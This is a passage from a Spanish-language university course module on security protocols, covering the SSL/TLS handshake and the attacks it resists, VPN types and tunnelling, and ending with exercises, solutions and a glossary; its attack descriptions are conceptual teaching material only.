diferencias entre SSL 3.0
y TLS 1.0 está en la
técnica usada para
obtener los códigos de
verificación de los
mensajes Finished, y
también para calcular el
secreto maestro y para
obtener las claves a partir
de este secreto (en SSL
se utilizan funciones hash
directamente, y en TLS se
utilizan códigos HMAC).

cifrado. Su contenido se obtiene aplicando funcioneshashal secreto mae-

stro y a la concatenación de todos los mensajes de negociación intercambi-

ados, des de elClient Hellohasta el anterior a este (incluyendo el mensaje

Finishedde la otra parte, si ya lo ha enviado). Normalmente será el cliente

el primer en enviar el mensajeFinished, pero en el caso de reemprender

una sesión anterior, será el servidor quien lo enviará primero, justo después

delServer Hello.

El contenido del mensajeFinishedsirve para verificar que la negociación se

ha llevado a cabo correctamente. Este mensaje también permite autenticar

el servidor frente al cliente, ya que el primer necesita su clave privada para

descifrar el mensajeClient Key Exchangey obtener las claves que se usarán

en la comunicación.
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Una vez enviado el mensajeFinished, se da por acabada la negociación, y

cliente y servidor pueden empezar a enviar los datos de aplicación utilizan-

do los algoritmos y claves acordados.

Los siguientes diagramas resumen los mensajes intercambiados durante la fase

de negociación SSL/TLS:
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A más de los mensajes de negociación, notificaciones de cambio de cifrado y

datos de aplicación, también se pueden enviar mensajes de error. Estos men-

sajes contienen un código de nivel de gravedad, que puede ser “mensaje de

aviso” o “error fatal”, y un código de descripción del error. Un error fatal

provoca el fin de la conexión y la invalidación del identificador de sesión cor-

respondiente, es decir, la sesión no podrá ser reemprendida. Son ejemplos de

errores fatales: MAC incorrecto, tipo de mensaje inesperado, error de nego-

ciación, etc. (TLS 1.0 prevé más códigos de error que SSL 3.0).

También se puede enviar un mensaje de aviso para indicar el fin normal de

la conexión. Para evitar ataques de truncamiento, si una conexión acaba sin

haber enviado este aviso se invalidará su identificador de sesión.

4.3. Ataques contra el protocolo SSL/TLS

Los protocolos SSL/TLS están diseñados para resistir los siguientes ataques:

Lectura de los paquetes enviados por el cliente y servidor.Cuando los datos

se envían cifrados, un atacante que pueda leer los paquetes, por ejemplo uti-

lizando técnicas desniffing, se enfrenta al problema de romper el cifrado si

quiere interpretar su contenido. Las claves que se utilizan para el cifrado se

intercambian con métodos de clave pública, que el atacante tendría que romper

si quiere saber cuales son los valores acordados.
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Es preciso advertir, pero, que dependiendo de la aplicación que lo utilice, el

protocolo SSL/TLS puede ser objeto de ataques con texto en claro conocido.

Por ejemplo, cuando se utiliza juntamente con HTTP para acceder a servidores

web con contenidos conocidos.

Si la comunicación es totalmente anónima, es decir sin autenticación de servi-

dor ni cliente, sí que existe la posibilidad de capturar las claves secretas con

un ataque conocido como “hombre a medio camino” (en inglés,“man-in-the-

middle attack”). En este ataque el espía genera sus propias claves públicas y

privadas, y cuando una parte envía a la otra información sobre su clave públi-

ca, tanto en un sentido como en el otro, el atacante la intercepta y la sustituye

por la equivalente con la clave pública fraudulenta. Dado que el intercambio

es anónimo, el receptor no tiene manera de saber si la clave pública que recibe

es la del emisor auténtico o no.

En cambio, si se realiza la autenticación de servidor y/o cliente, es necesario

enviar un certificado donde tiene que haber la clave pública del emisor firmada

por una autoridad de certificación que el receptor reconozca, y por tanto no

puede ser sustituida por otra.

Suplantación de servidor o cliente.Cuando se realiza la autenticación de servi-

dor o cliente, el certificado digital debidamente firmado por la CA sirve para

verificar la identidad de su propietario. Un atacante que quiera hacerse pasar

por el servidor (o cliente) auténtico debería obtener su clave privada, o bi-

en la de la autoridad de certificación que ha emitido el certificado para poder

generar otro con una clave pública diferente y que parezca auténtico.

Alteración de los paquetes.Un atacante puede modificar los paquetes para

que lleguen al destinatario con un contenido distinto del original (si están cifra-

dos no podrá controlar cual será el contenido final descifrado, solamente sabrá

que será distinto al original). Si pasa esto, el receptor detectará que el paque-

te ha sido alterado porque el código de autenticación (MAC) casi con total

seguridad será incorrecto.

Si la alteración se realiza en los mensajes de negociación cuando aun no se

aplica ningún código MAC, con la finalidad por ejemplo de forzar la adopción

de algoritmos criptográficos más débiles y vulnerables, esta manipulación será

detectada en la verificación de los mensajesFinished.

Repetición, eliminación o reordenación de paquetes.Si el atacante vuelve

a enviar un paquete correcto que ya había sido enviado antes, o suprime algún

paquete haciendo que no llegue a su destino, o los cambia de orden, el receptor

lo detectará porque los códigos MAC no coincidirán con el valor esperado.

Esto es así porque en el cálculo del MAC se utiliza un número de secuencia

que se va incrementando en cada paquete.

Tampoco se pueden copiar los mensajes enviados en un sentido (de cliente a

servidor o de servidor a cliente) al sentido contrario, porque en los dos flujos

de la comunicación se utilizan claves de cifrado y de MAC diferentes.
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Como consideración final, cabe destacar que la fortaleza de los protocolos se-

guros recae no solamente en su diseño si no en el de las implementaciones.

Si una implementación solamente soporta algoritmos criptográficos débiles

(con pocos bits de clave), o genera números pseudoaleatórios fácilmente pre-

decibles, o guarda los valores secretos en almacenamiento (memoria o disco)

accesible por atacantes, etc., no estará garantizando la seguridad del protocolo.

4.4. Aplicaciones que utilizan SSL/TLS

Como hemos visto al inicio de este apartado, los protocolos SSL/TLS fueron

diseñados para permitir la protección de cualquier aplicación basada en un

protocolo de transporte como TCP. Algunas aplicaciones que utilizan esta

característica son:

• HTTPS (HTTP sobre SSL/TLS): el protocolo más utilizado actualmente

para la navegación web segura.

• NNTPS (NNTP sobre SSL): para el acceso seguro al servicio de News.

Estas aplicaciones con SSL/TLS funcionan exactamente igual que las origi-

nales. Las únicas diferencias son el uso de la capa de transporte seguro que

proporciona SSL/TLS y la asignación de números de puerto TCP propios: 443

para HTTPS y 563 para NNTPS.

En muchos otros casos, pero, es preferible aprovechar los mecanismos de ex-

tensión previstos en el propio protocolo de aplicación, si hay, para negociar el

uso de SSL/TLS, a fin de evitar la utilización innecesaria de nuevos puertos

TCP. Así lo hacen aplicaciones como:

• TELNET, usando la opción de autenticación (RFC 1416).

• FTP, usando las extensiones de seguridad (RFC 2228).

• SMTP, usando sus extensiones para SSL/TLS (RFC 2487).

• POP3 y IMAP, también usando comandos específicos para SSL/TLS (RFC 2595).

También hay definido un mecanismo para negociar el uso de SSL/TLS en

HTTP (RFC 2817), como alternativa a HTTPS.
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5. Redes privadas virtuales (VPN) .

Los protocolos seguros que hemos visto hasta este punto permiten proteger

las comunicaciones, por ejemplo, de una aplicación implementada como un

proceso cliente que se ejecuta en un ordenador y un proceso servidor que se

ejecuta en otro ordenador. Si hay otras aplicaciones que también necesiten

una comunicación segura entre estos dos ordenadores, o entre ordenadores

situados en las mismas redes locales, pueden hacer uso de otras instancias

de los protocolos seguros: nuevas asociaciones de seguridad IPsec, nuevas

conexiones SSL/TLS, etc.

Una posibilidad alternativa es establecer unared privada virtual o VPN entre

estos ordenadores o las redes locales donde están situados. En este apartado
VPN

VPN es la sigla de Virtual
Private Network.

veremos las características principales de las redes privadas virtuales.

5.1. Definición y tipos de VPN

.

Una red privada virtual (VPN) es una configuración que combina el

uso de dos tipos de tecnologías:

• Las tecnologías de seguridad que permiten la definición de unared
privada, es decir, un medio de comunicación confidencial que no

puede ser interceptado por usuarios ajenos a la red.

• Las tecnologías de encapsulamiento de protocolos que permiten que,

en lugar de una conexión física dedicada para la red privada, se pue-

da utilizar una infraestructura de red pública, como Internet, para

definir por encima de ella unared virtual .

Por tanto, una VPN es una red lógica o virtual creada sobre una infraestructura

compartida, pero que proporciona los servicios de protección necesarios para

una comunicación segura.

Dependiendo de la situación de los nodos que utilizan esta red, podemos con-

siderar tres tipos de VPN:

VPN entre redes locales o intranets.Este es el caso habitual en que una em-

presa dispone de redes locales en diferentes sedes, geográficamente separadas,

en cada una de las cuales hay una red privada ointranet , de acceso restringido
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a sus empleados. Si interesa que desde una de sus sedes se pueda acceder a las

intranets de otras sedes, se puede usar una VPN para interconectar estas redes

privadas y formar una intranet única.

VPN de acceso remoto.Cuando un empleado de la empresa quiere acceder a

la intranet des de un ordenador remoto, puede establecer una VPN de este tipo

entre este ordenador y la intranet de la empresa. El ordenador remoto puede

ser, por ejemplo, un PC que el empleado tiene en su casa, o un ordenador

portátil des del cual se conecta a la red de la empresa cuando está de viaje.

VPN extranet. A veces, a una empresa le interesa compartir una parte de los

recursos de su intranet con determinados usuarios externos, como por ejemplo

proveedores o clientes de la empresa. La red que permite estos accesos ex-

ternos a una intranet se llamaextranet, y su protección se consigue mediante

una VPN extranet.

5.2. Configuraciones y protocolos utilizados en VPN

A cada uno de los tipos de VPN que acabamos de ver le suele corresponder

una configuración específica.

• En las VPN entre intranets, la situación más habitual es que en cada in-

tranet hay unapasarela VPN, que conecte la red local con Internet. Esta

pasarela se comunica con la de las otras intranets, aplicando el cifrado y

las protecciones que sean necesarias a las comunicaciones de pasarela a

pasarela a través de Internet. Cuando los paquetes llegan a la intranet de

destino, la pasarela correspondiente los descifra y los reenvía por la red

local hasta el ordenador que los tenga que recibir.

De esta manera es utiliza la infraestructura pública de Internet, en lugar

de establecer líneas privadas dedicadas, que supondrían un coste más ele-

vado. También se aprovecha la fiabilidad y redundancia que proporciona

Internet, ya que si una ruta no está disponible siempre se pueden encami-

nar los paquetes por otro camino, mientras que con una línea dedicada la

redundancia supondría un coste aún más elevado.

• En las VPN de acceso remoto, a veces llamadas VPDN, un usuario se puede

comunicar con una intranet a través de un proveedor de acceso a Internet,

utilizando tecnología convencional como por ejemplo a través de un mó-

dem ADSL. El ordenador del usuario ha de disponer de softwarecliente
VPDN

VPDN es la sigla de
Virtual Private Dial
Network.

VPN para comunicarse con la pasarela VPN de la intranet y llevar a cabo

la autenticación necesaria, el cifrado, etc.

De este modo también se aprovecha la infraestructura de los proveedores de

Internet para el acceso a la intranet, sin necesidad de llamadas a un módem

de la empresa, que pueden llegar a tener un coste considerable.

• El caso de las VPN extranet puede ser como el de las VPN entre intranets,

en que la comunicación segura se establece entre pasarelas VPN, o bien
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como el de las VPN de acceso remoto, en que un cliente VPN se comunica

con la pasarela de la intranet. La diferencia, pero, es que en este caso nor-

malmente el control de acceso es más restrictivo para permitir solamente el

acceso a los recursos autorizados.

La definición de una red virtual lleva a cabo mediante el establecimiento de

túneles, que permiten encapsular paquetes de la red virtual, con sus proto-

colos, dentro de paquetes de otra red, que normalmente es Internet, con su

protocolo, es decir IP.

Para la comunicación entre las distintas intranets, o entre el ordenador que ac-

cede remotamente y la intranet, se pueden utilizar los protocolos que sean más

convenientes. Los paquetes de estos protocolos, para poderlos hacer llegar a

su destino a través de Internet, se pueden encapsular en datagramas IP, que

dentro suyo contendrán los paquetes originales. Cuando lleguen a su destino,

se desencapsulan estos datagramas para recuperar los paquetes con el formato

“nativo” del protocolo correspondiente.

Hay protocolos que pueden ser utilizados para establecer los túneles, dependi-

endo del nivel de la comunicación al cual se quiera realizar la protección.

Túneles a nivel de red.El protocolo utilizado en la gran mayoría de config-

uraciones VPN es IPsec en modo túnel, generalmente con ESP par cifrar los

datos, y opcionalmente con AH para autenticar los paquetes encapsulados.

Las pasarelas VPN son, en este caso, pasarelas seguras IPsec.

Túneles a nivel de enlace.En el caso de las VPN de acceso remoto o VPDN,

existe la posibilidad de encapsular tramas PPP, que son las que transmite nor-

malmente un cliente VPN de este tipo, sobre datagramas IP. Hay diversas
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opciones para encapsular PPP (que a su vez puede encapsular otros protocolos

de red, como IPX, etc. o posiblemente IP) sobre IP:

• El protocolo PPTP (Point-to-Point Tunneling Protocol, RFC 2637) especi-

fica una técnica para el encapsulamiento de tramas PPP pero no añade ser-

vicios de autenticación. Estos servicios se pueden realizar con los mismos

protocolos que utiliza PPP, como PAP (Password Authentication Protocol)

o CHAP (Challenge Handshake Authentication Protocol).

• El protocolo L2F (Layer Two Forwarding, RFC 2637) es parecido al PPTP

pero también puede trabajar con SLIP a más de PPP. Para la autenticación

puede utilizar protocolos auxiliares como RADIUS (Remote Authentica-

tion Dial-In User Service).

• El protocolo L2TP (Layer Two Tunneling Protocol, RFC 2661) combina

las funcionalidades que ofrecen PPTP y L2F.

Túneles a nivel de transporte.El protocolo SSH (Secure Shell), como vere-

mos en el módulo de aplicaciones seguras, ofrece la posibilidad de redirigir

puertos TCP sobre un canal seguro, que podemos considerar como un túnel a

nivel de transporte. Des de este punto de vista, también se podría considerar

una conexión SSL/TLS como un túnel a nivel de transporte que proporciona

confidencialidad y autenticación. Habitualmente, este último tipo de túnel no

sirve para cualquier tipo de tráfico si no solamente para datos TCP, y por tanto

no se considera parte integrante de una VPN.
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Resumen

En este módulo hemos visto que lastécnicas criptográficaspermiten cifrar

un texto mediante unaclave de cifrado, y solamente quien conozca laclave
de descifradocorrespondiente será capaz de obtener el texto original.

Según la relación que haya entre las dos claves, los algoritmos criptográficos

se clasifican enalgoritmos simétricossi la clave de cifrado y la de descifrado

son la misma, oalgoritmos de clave públicasi las claves son distintas. Los

algoritmos simétricos, a su vez, se pueden clasificar enalgoritmos de cifrado
en flujo, si el cifrado consiste en añadir al texto datos pseudoaleatórios calcu-

lados a partir de la clave, oalgoritmos de cifrado en bloque, si el cifrado se

realiza sobre bloques de medida fija del texto original.

La particularidad de la criptografía de clave pública es que a partir de laclave
pública es prácticamente imposible deducir laclave privada. Esto permite

que cualquiera que conozca la clave pública de un usuario pueda usarla para

cifrar datos confidenciales, con la seguridad que solamente quien tenga la

clave privada correspondiente podrá descifrarlos, y sin necesidad de acordar

ninguna clave secreta a través de un canal seguro. El uso de las claves al revés

(la privada para cifrar y la pública para descifrar) es la base de lasfirmas
digitales.

Dado que la criptografía de clave pública es computacionalmente más costosa

que la simétrica, no se utiliza nunca directamente para obtener confidenciali-

dad, si no siempre a través de unaclave de sesiónsimétrica. Del mismo modo,

la firma de un texto no se calcula directamente a partir del texto, si no aplicán-

dole unafunción hashsegura. La propiedad de este tipo de función es que es

muy difícil encontrar un mensaje que de el mismohashque otro.

Para garantizar que las claves públicas son auténticas, y pertenecen a quien se

supone que han de pertenecer, se pueden utilizarcertificados digitaleso de

clave pública, como por ejemplo los certificados X.509. Cuando unaautori-
dad de certificación(CA) firma un certificado, está dando fe de la autentici-

dad entre el vínculo entre de la clave pública correspondiente y la identidad

del usuario. Los certificados son un componente básico de lainfraestruc-
tura de clave pública(PKI), como también lo son laslistas de revocación de
certificados(CRL).

Las firmas digitales proporcionan el servicio deautenticación de mensaje.
Los llamadoscódigos MAC también proporcionan este servicio, pero utilizan-

do claves secretas compartidas en lugar de claves públicas.

Otro servicio de autenticación es el deautenticación de entidad. Este mecan-

ismo permite comprobar que la otra parte de la comunicación es quien dice ser,

y no un impostor. Esto se puede conseguir con técnicas deautenticación dé-
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bil basadas en contraseñas o, si es necesario, con técnicas deautenticación
fuerte basadas enprotocolos de reto-respuesta, que a diferencia de las ante-

riores son resistentes a muchos más ataques que las primeras.

Cuando se aplican los mecanismos de confidencialidad y autenticación a los

protocolos de comunicación, es posible realizarlo a distintos niveles. Para

proteger las comunicaciones a nivel de red se puede utilizar laarquitectura
IPsec, que incluye los protocolosAH , para autenticar datagramas IP, yESP
para cifrar y/o autenticar los datos de los datagramas IP. También hay proto-

colos para el intercambio seguro de las claves necesarias.

Toda comunicación entre dos nodos de la red mediante protocolos IPsec pertenece

a unaasociación de seguridad(SA). Cada SA establece el protocolo a uti-

lizar, y en cual de los dos modos posibles trabaja: elmodo transporte, en el

cual la cabecera AH o ESP actúa como si fuera la cabecera de los datos de

nivel superior (transporte), o elmodo túnel, en el cual se construye un nuevo

datagrama IP que tiene como datos el datagrama original convenientemente

protegido. El modo transporte solamente se puede usar en las SA que vayan

de extremo a extremo, es decir, des del nodo que origina los datagramas hasta

el que los recibe.

También hay la posibilidad de proteger las comunicaciones a nivel de trans-

porte. En este caso se pueden usar los protocolosSSL/TLS, que utilizan el

servicio de transporte TCP estándar. En estos protocolos existe unanego-
ciación inicial que permite autenticar el servidor y, si es el caso, el cliente,

mediante sus certificados. El mismo protocolo de negociación sirve para es-

tablecer las claves de sesión que se usarán en la comunicación posterior, como

les claves para el cifrado simétrico de los datos o las claves para los códigos

MAC.

El usi típico de los protocolos SSL/TLS es para proteger de forma transparente

un protocolo de aplicación como es el caso del HTTP. El protocoloHTTPS
es simplemente la combinación de HTTP con el transporte seguro SSL/TLS.

Finalmente, lasredes privadas virtuales(VPN) permiten utilizar la red públi-

ca Internet como si fuera una red privada dedicada, por ejemplo, entre diversas

intranets de una misma organización. La técnica básica que utilizan las VPN

son lostúneles, en los cuales los paquetes protegidos se encapsulan des de

datagramas IP que circulan de manera normal por la red Internet.
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Actividades

3-1 Visitad páginas que contengan listas de algoritmos criptográficos y sus ataques conoci-
dos (por ejemplowww.ramkilde.com/bc.html para el cifrado en bloque,plane-
ta.terra.com.br/informatica/paulobarreto/hflounge.html para las
funcioneshash, etc.), y comprobad que algoritmos se pueden considerar actualmente se-
guros y cuales no.

3-2 Visitad la páginawww.rsasecurity.com/rsalabs/challenges/ , el aparta-
do “RSA factoring challenge”, y comprobad cuantos bits tiene el último número que se ha
conseguido factorizar.

3-3 El proyecto EuroPKI pretende crear una infraestructura de clave pública a nivel eu-
ropeo. Visitad su página web (www.europki.org ) y examinad el certificado de su CA.
Es una CA raíz? De cuantos bits es su clave pública? Examinad también la lista de certifi-
cados emitidos por esta CA y su CRL. Hay algún certificado revocado? Cuando se emitirá
la próxima CRL? Si hay certificados revocados, podeis averiguar si volverán a aparecer en
la próxima CRL?

Navegad también por las páginas web de otras CA de la jerarquía, como por ejemplo la
de RedIRIS (www.rediris.es/cert/iris-pca/ ) o la de la Anella Científica del
CESCA (www.cesca.es/comunicacions/scd/ ). Alguna de estas CA incluye el
subcampopathLenConstraint en su certificado?

3-4 Una implementación“open source”de los protocolos SSL/TLS bastante conocida es
la del proyecto OpenSSL. Visitad su página web (www.openssl.org ) y comprobad
que algoritmos criptográficos soporta la última versión.

 FUOC • XP04/90789/00892



FUOC · P03/75070/02123 78 Mecanismos deprotección

Ejercicios de autoevaluación

3-1 En el cifrado en bloque en modo ECB, si hay un error de transmisión en un bloque
de texto cifrado, solamente se ve afectado el bloque correspondiente del texto descifrado.
En modo CBC, el error se propaga: un error en la transmisión deCy afecta al descifrado
deMy y My+1.

a)Afectaría el error a algún otro bloque más allá deMy+1?

b)Suponed que hay un error en un bit de la versión original (antes de cifrar) deMy. A
cuantos bloques del texto cifrado se propagará este error? Cual será el efecto en la
recepción?

3-2 Si se produce un error de transmisión en un bit de texto cifrado en modo CFB de 8 bits
(longitud de cada unidad de texto cifradoCy igual a 8 bits), hasta donde se propagara el
error?

3-3 Considerad la siguiente propuesta de algoritmo para verificar si, después de un inter-
cambio de clave secreta, las dos partesA y B han obtenido el mismo valor de la clavek.
Primero,A crea una cadena de bits aleatoriosr de la misma longitud que la clave, calcula
a= k⊕r, y envía este valor aB. EntoncesB deducer calculandob= a⊕k (= k⊕r⊕k= r)
y envía este valorb a A. Si A ve que el valor recibidob coincide conr, sabrá queB tiene
el mismo valor dek, sin que ninguno de los dos haya mandado este valor en claro. Tiene
algún problema esta propuesta?

3-4 El PKCS #1 especifica como formatear los datos que se quieren cifrar con una clave
pública RSA antes de aplicarlos al algoritmo de cifrado. Según la versión 1.5, es preciso
crear una secuencia deL bytes (dondeL es la longitud en bytes del módulon):

• El primer byte es igual a 0.

• El segundo byte indica el tipos de formato, y en este caso es igual a 2.

• Los siguientes bytes (como mínimo, 8) han de tener valores aleatorios distintos de 0.

• El siguiente byte es igual a 0.

• El resto de bytes (como máximo,L−11) son el mensaje que se quiere cifrar.

a)Que seguridad proporcionan el segundo byte y los bytes aleatorios?

b)Que utilidad tiene el byte igual a 0 antes del mensaje?

3-5 Mientras que una clave de cifrado AES de 128 bits actualmente se considera bastante
segura, una clave RSA de 512 bits se considera poco segura. Por qué?

3-6 Si un certificado X.509 ha dejado de ser válido antes de su caducidad, la CA que
lo emitió lo puede incluir en su lista de certificados revocados (CRL). Sabiendo que en la
CRL no hay el nombre (DN) del usuario a quien se le revoca el certificado, si no solamente
el número de serie del certificado, hay algún modo que un atacante pueda manipular la
CRL para hacer creer que el certificado que se está revocando es el de otro usuario?

3-7 La Recomendación X.509 describe diversos protocolos de autenticación, uno de los
cuales se la llamada “autenticación en dos pasos”, que se puede resumir de la siguiente
forma:

A→ B : SA({rA, tA,B})
A← B : SB({rB, tB,A, rA})

La misma Recomendación X.509 define otro protocolo, llamado “autenticación en tres
pasos”, donde las marcas de tiempo son opcionales y por tanto no requiere sincronía entreA
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y B. Este otro protocolo en su versión original era equivalente al siguiente intercambio:

A→ B : SA({rA,B})
A← B : SB({rB,A, rA})
A→ B : SA({rB})

Pero este protocolo tiene un problema potencial que puede ser explotado por un impostorC
que se quiera hacer pasar porA delante deB. El impostor, por un lado, puede repetir un
mensaje inicial previamente capturado:

C→ B : SA({rA,B})
C← B : SB({r ′B,A, rA})

y por otro lado puede hacer queA inicie una autenticación conC:

A→C : SA({r ′A,C})
A←C : SC({r ′B,A, r ′A})
A→C : SA({r ′B})

Entonces,C solamente tiene que mandar aB este último mensaje, que es el que necesita
para que se convenza que está hablando conA, cuando en realidad está hablando conC:

C→ B : SA({r ′B})

Cual sería una posible solución simple para evitar este ataque? (En la versión actual de la
Recomendación X.509 este problema ya está solucionado.)

3-8 La firma digital de un mensaje se calcula cifrando con la clave privada del firmante el
hashdel mensaje. Porqué no se cifra directamente el mensaje a firmar?

3-9 Un posible ataque contra las firmas digitales consiste en hacer creer que el firmante ha
calculado elhashcon otro algoritme (p. ex. MD4 en lugar de MD5), y si este algoritmo es
menos seguro que el original, puede ser que el atacante sea capaz de obtener un mensaje
diferente que de el mismohashcon este otro algoritmo, de modo que la firma continuaría
siendo válida. Com se puede evitar este ataque? (Uno de los PKCSs, el número #7, incluye
una medida contra este ataque.)

3-10 La especificación IPsec indica que cuando dos asociaciones de seguridad (SA) en
modo transporte se combinan para usar AH y ESP en una misma comunicación extremo
a extremo, solamente uno de los dos posibles ordenes es apropiado: aplicar primero el
protocolo ESP y después el protocolo AH. Por qué?

3-11 Una organización tiene instalada una red con direcciones IP privadas, y conectada
a Internet mediante unrouter NAT (Network Address Translator), que traduce las direc-
ciones privadas en una o más direcciones públicas (asignadas por un registrador oficial). Si
se quiere utilizar IPsec para conectarse a servidores externos, sin realizar ningún cambio
en la red, que combinaciones de protocolos (AH, ESP) y modos de operación (transporte,
túnel) serán apropiadas, cuales no, y por qué?

3-12 Como puede el protocolo HTTPS (HTTP sobre SSL/TLS) contrarrestar las sigu-
ientes amenazas a la seguridad del servicio WWW?

a)Ataque criptográfico de fuerza bruta: búsqueda exhaustiva en el espacio de claves para
descifrar los paquetes cifrados simétricamente.

b)Ataque de texto claro conocido, teniendo en cuenta que muchos mensajes HTTP, como
por ejemplo las peticiones “GET”, contienen texto predecible.

c)Ataque de repetición: reenviar mensajes de negociación SSL/TLS capturados previa-
mente.
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d)Ataque “de hombre a medio camino” (“man-in-the-middle”): interceptar una nego-
ciación SSL/TLS, reenviando paquetes modificados al cliente como si fueran del servi-
dor auténtico, y viceversa.

e)Obtención de contraseñas: captura depasswordsHTTP o de otras aplicaciones.

f)Falsificación IP (“IP spoofing”): generar paquetes con direcciones IP falsas.

g)“Secuestro” IP (“IP hijacking” ): interrumpir una conexión autenticada entre dos nodos
y continuarla haciéndose pasar por uno de ellos.

h)“Inundación” de paquetes SYN (“SYN flooding”): enviar paquetes TCP con elflagSYN
para iniciar una conexión pero no responder al mensaje final para terminar el establec-
imiento, con la intención de saturar el servidor con conexiones TCP medio abiertas.

3-13 Un clienteC quiere establecer una conexión SSL/TLS con un servidorS que tiene
una clave públicaK. Durante la fase inicial de negociación, un atacanteA intercepta los
mensajes SSL/TLS y responde aC en nombre deS simulando que la clave pública del
servidor esK′ en lugar deK, y siguiendo todos los pasos de la negociación utilizando esta
claveK′. Como puedeC detectar este fraude?

3-14 En el protocolo SSL/TLS, le es posible al receptor reordenar registros SSL/TLS que
le lleguen desordenados? Por qué?
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Soluciones

3-1

a)No.

b)El error enMy hará que todos los bloques a partir deCy sean distintos de los que se
tendrían que transmitir. En recepción, pero, todos los bloques a partir deMy+1 se
recuperarán correctamente (el bloqueMy se recuperará con el mismo error de origen).

3-2 Se recuperarán incorrectamente losN + 1 bytes de texto en claro a partir del error,
dondeN esL/8 (L = longitud de bloque del algoritmo de cifrado). Por ejemplo, en DES
(L = 64),N+1 = 9 bytes.

3-3 Un atacante que tenga acceso a la comunicación verá los valoresa = k⊕ r y b = r.
Entonces solamente se tiene que calculara⊕b para obtenerk.

3-4

a)El segundo byte indica como interpretar los datos una vez descifrados, y los bytes
aleatorios aseguran que el númeroM a cifrar será grande (M > 28·L−24, y con el se-
gundo byte igual a 2,M > 28·L−17). Si M fuera demasiado pequeño, el descifrado
podría ser trivial (especialmente siMe < n). A más, los bytes aleatorios dificultan
los ataques por fuerza bruta cifrando con la misma clave pública: hace falta probar al
menos 264 combinaciones para cada posible valor del mensaje.

b)El byte igual a 0 sirve para saber donde acaban los bytes aleatorios (que han de ser
diferentes de 0) y donde empieza el mensaje.

3-5 Porqué en los algoritmos simétricos cualquier combinación de bits es una clave válida,
y por tanto el esfuerzo para romper una clave de 128 bits debe de ser del orden de 2128

operaciones. En cambio, las claves públicas deben cumplir unas propiedades (y por tanto
no cualquier combinación de 512 bits es una clave RSA válida), y los métodos para romper
claves públicas aprovechan estas propiedades.

3-6 Los números de serie identifican de manera única los certificados que emite una CA,
y la manera de hacer creer que se está revocando otro certificado es modificando la CRL.
Dado que la CRL está firmada por la CA que la emite, el atacante debería de ser capaz de
falsificar la firma de la CA.

3-7 Una solución simple es que el mensaje final de la autenticación en tres pasos incluya
el identificador del destinatario:

A→ B : SA({rB,B})

(Esta es la solución que incorpora la versión actual de la Recomendación X.509.)

3-8 Porqué cifrar con la clave privada un mensaje de longitud arbitraria puede ser muy
costoso, ya que la criptografía de clave pública requiere muchos más cálculos que la crip-
tografía simétrica. Por esto se cifra solamente elhash, que es de longitud corta.

3-9 Una posible solución (la que utiliza el PKCS #7) es que los datos que se cifran con
la clave privada no sean únicamente elhashdel mensaje, si no una concatenación de este
hashcon un identificador del algoritmo dehashutilizado.

3-10 Porqué con ESP se pueden cifrar los datos de los paquetes IP, y después con AH
se pueden autenticar los paquetes enteros, incluido la cabecera. Si se hiciera a la inversa,
se estaría autenticando el paquete interno con AH, pero en el paquete ESP externo no se
estarían protegiendo las cabeceras (con confidencialidad y/o autenticación).
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3-11 Dado que el NAT modifica las cabeceras IP (concretamente las direcciones de origen
o destino), la combinación más apropiada es utilizar ESP en modo túnel, de modo que el
router no modifique el paquete encapsulado. No se puede utilizar AH porqué autentica
todo el paquete, incluidas las cabeceras. El modo transporte tiene el problema que los
routersNAT también deben modificar elchecksumde las cabeceras TCP y UDP, ya que
en su cálculo intervienen las direcciones de la cabecera IP. (Alternativamente, se puede
utilizar IPsec en la parte externa de la red, después del NAT, o, si las implementaciones lo
soportan, deshabilitar loschecksumsTCP y UDP).

3-12

a)La protección es la que da el algoritmo de cifrado simétrico escogido, y dependerá de
la longitud de la clave de sesión.

b)Los ataques de texto en claro conocido son posibles, y pueden reducir en parte el
esfuerzo necesario para el descifrado por fuerza bruta.

c)Dentro de una misma sesión se detectaría la repetición de los datos, porqué el MAC
sería incorrecto. Aunque su usara un cifrado en bloque en modo ECB, el MAC contin-
uaría siendo inválido porqué se calcula a partir de un número de secuencia implícito.
Tampoco se pueden copiar datos en sentido contrario porqué se utilizan claves de cifra-
do y de MAC distintas en cada sentido.

d)Si el intercambio de claves es anónimo, el ataque tendría éxito. Si se utiliza auten-
ticación (del servidor y/o del cliente), el atacante tendría que romper el algoritmo de
autenticación.

e)Este problema en general se reduce a un ataque al cifrado simétrico de la comunicación.

f)Si no hay autenticación, este ataque tendría éxito. Si hay autenticación, los certificados
(que pueden incluir la dirección IP o nombre DNS del servidor y/o del cliente) sirven
para evitar este ataque.

g)Sin conocer las claves de sesión, el atacante no puede continuar la comunicación.

h)El protocolo SSL/TLS trabaja sobre TCP, y no tiene acceso a los mecanismos de es-
tablecimiento de la conexión TCP. Por tanto, SSL/TLS no protege contra este ataque.

3-13 Si la claveK está autenticada mediante un certificado,C descubrirá queK′ es una
clave falsa porqué no habrá un certificado válido para esta clave.

3-14 Los registros SSL/TLS no tendrían que llegar desordenados porqué el protocolo SSL/
TLS se usa sobre TCP, que garantiza la secuencia correcta de los datos. Si un atacante
intencionadamente desordenara los registros, el receptor no sabría en principio como reor-
denarlos porqué en el registro no hay ningún número de secuencia explícito (pero el MAC
permitiría detectar el cambio de secuencia).
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Glosario

AH: Ver Authentication Header.

Asociación de seguridad (SA):Relación entre un nodo origen y un nodo destino que
utilizan uno de los protocolos IPsec (AH o ESP) para enviar datagramas IP protegidos.

Ataque: Acción realizada por una tercera parte, distinta del emisor y del receptor de la
información protegida, para intentar contrarrestar esta protección.

Ataque de cumpleaños:Ataque contra las funcioneshash, consistente en encontrar dos
mensajes que den el mismo resumen, en lugar de encontrar un mensaje que de el mismo
resumen que otro determinado, cosa, esta última, que requiere mouchas más operaciones.

Ataque de diccionario: Ataque contra los métodos de autenticación de entidad basados
en contraseñas, consistente en probar las palabras de un diccionario hasta encontrar la
correcta.

Ataque de fuerza bruta: Ataque contra las funciones criptográficas, consistente en probar
todos los posibles valores de la clave hasta encontrar el correcto.

Ataque del hombre a medio camino:Ataque contra la autenticación en los protocolos
de comunicación seguros, en qué el atacante intercepta los mensajes de autenticación y los
sustituye por otros con las claves públicas cambiadas, de modo que se puede producir una
suplantación si no se comprueba la autenticidad de estas claves.

Autenticación: Protección de la información contra falsificaciones.

Autenticación de entidad: Servicio de seguridad que permite confirmar que un partici-
pante en una comunicación es auténtico, y no se trata de un impostor que está intentando
suplantarlo.

Autenticación de mensaje:Servicio de seguridad que permite confirmar que el originador
de un mensaje es auténtico, y que el mensaje no ha sido creado o modificado por un
falsificador.

Autenticación de origen de datos:Nombre con el que se conoce a veces la autenticación
de mensaje.

